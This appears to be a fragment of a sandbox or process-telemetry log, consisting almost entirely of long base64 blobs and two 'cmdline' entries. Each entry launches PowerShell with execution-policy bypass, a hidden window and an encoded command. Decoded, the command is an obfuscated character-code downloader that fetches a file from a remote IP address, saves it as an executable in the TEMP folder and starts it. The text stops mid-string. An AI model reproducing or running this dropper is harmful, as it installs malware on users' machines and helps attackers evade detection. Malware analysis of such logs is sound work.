IAAgACAAIAAgACAAIAAgACAAMQAwADgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAwADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABhAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA3ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQA5ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAEgAYQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMAA1ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAGgAQQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQAwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAYQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMAA1ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAGgAYQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQAwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMAA1ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQA2ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBIAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxADAAMQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxADIAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBoAEEAcgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxADAAMQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKQAgACAACQAtAE8AdQB0AEYASQBMAGUAIAAgACAAIAAJAAkAIAAJACAACQAJACAACQAJAB0gJABlAG4AVgA6AFQARQBtAFAAXABJAEIATQBfAEMAZQBuAHQAaQBzAGkAcwBpAC4AZQB4AGUAHSAgAAkACQAJAAkACQAJAAkAOwAgAAkACQAgAAkACQAgAAkAcwBUAEEAcgBUACAAIAAJACAACQAJAAkACQAgAB0gJABFAG4AdgA6AHQAZQBNAFAAXABJAEIATQBfAEMAZQBuAHQAaQBzAGkAcwBpAC4AZQB4AGUAHSA= "
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYPASs -NOP -W 1 -EC IAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAFsAbgBlAFQALgBzAGUAUgB2AEkAQwBFAFAATwBJAE4AVABNAGEAbgBBAEcARQByAF0AOgA6AFMAZQBjAFUAUgBpAHQAWQBQAHIATwB0AG8AYwBvAEwAIAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAD0AIAAJACAAIAAJACAAIAAgACAAWwBOAGUAVAAuAFMARQBjAHUAUgBpAFQAWQBQAFIAbwB0AG8AQwBvAGwAdAB5AFAAZQBdADoAOgBUAGwAcwAxADIAIAAgACAAIAAgACAAOwAgACAAIAAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAHcARwBlAHQAIAAJAAkACQAJAAkAKABbAGMASABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAwADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADYAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADYAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANQA4ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAGEAcgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA0ADcAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA5ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQAOAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBIAGEAcgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA1ADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA2ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQAOQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBIAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA1ADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA2ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAEgAYQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADUAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAGEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA0ADkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANQAzACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAGEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA1ADAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABhAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANQA3ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBoAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA2ADkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAaABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAyADAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAwADgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAwADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABhAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA3ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQA5ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAEgAYQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMAA1ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAGgAQQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQAwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAYQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMAA1ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAGgAYQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQAwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMAA1ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQA2ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBIAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxADAAMQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxADIAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBoAEEAcgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAxADAAMQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKQAgACAACQAtAE8AdQB0AEYASQBMAGUAIAAgACAAIAAJAAkAIAAJACAACQAJACAACQAJAB0gJABlAG4AVgA6AFQARQBtAFAAXABJAEIATQBfAEMAZQBuAHQAaQBzAGkAcwBpAC4AZQB4AGUAHSAgAAkACQAJAAkACQAJAAkAOwAgAAkACQAgAAkACQAgAAkAcwBUAEEAcgBUACAAIAAJACAACQAJAAkACQAgAB0gJABFAG4AdgA6AHQAZQBNAFAAXABJAEIATQBfAEMAZQBuAHQAaQBzAGkAcwBpAC4AZQB4AGUAHSA=
cmdline "C:\Windows\syStEM32\wIndowspOwErsheLL\v1.0\POWeRShElL.EXe" "poWERsHElL -EX bYPASs -NOP -W 1 -EC IAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAFsAbgBlAFQALgBzAGUAUgB2AEkAQwBFAFAATwBJAE4AVABNAGEAbgBBAEcARQByAF0AOgA6AFMAZQBjAFUAUgBpAHQAWQBQAHIATwB0AG8AYwBvAEwAIAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAD0AIAAJACAAIAAJACAAIAAgACAAWwBOAGUAVAAuAFMARQBjAHUAUgBpAFQAWQBQAFIAbwB0AG8AQwBvAGwAdAB5AFAAZQBdADoAOgBUAGwAcwAxADIAIAAgACAAIAAgACAAOwAgACAAIAAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAHcARwBlAHQAIAAJAAkACQAJAAkAKABbAGMASABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAwADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADYAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADYAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANQA4ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAGEAcgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA0ADcAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA5ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQAOAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBIAGEAcgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA1ADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA2ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQAOQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBIAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA1ADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA2ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAEgAYQBSAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADUAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAGEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA0ADkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANQAzACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAQwBoAGEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA1ADAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABhAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANQA3ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBjAEgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADQANwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAYwBoAEEAUgBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA2ADkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAaABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAyADAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAwADgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABhAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMASABBAFIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAwADEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMAaABBAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAxADQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAGMASABhAHIAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAANAA3ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAGgAQQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMQA5ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBDAEgAYQByAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADEAMAA1ACAAIAAgACAAIAAgACAAIA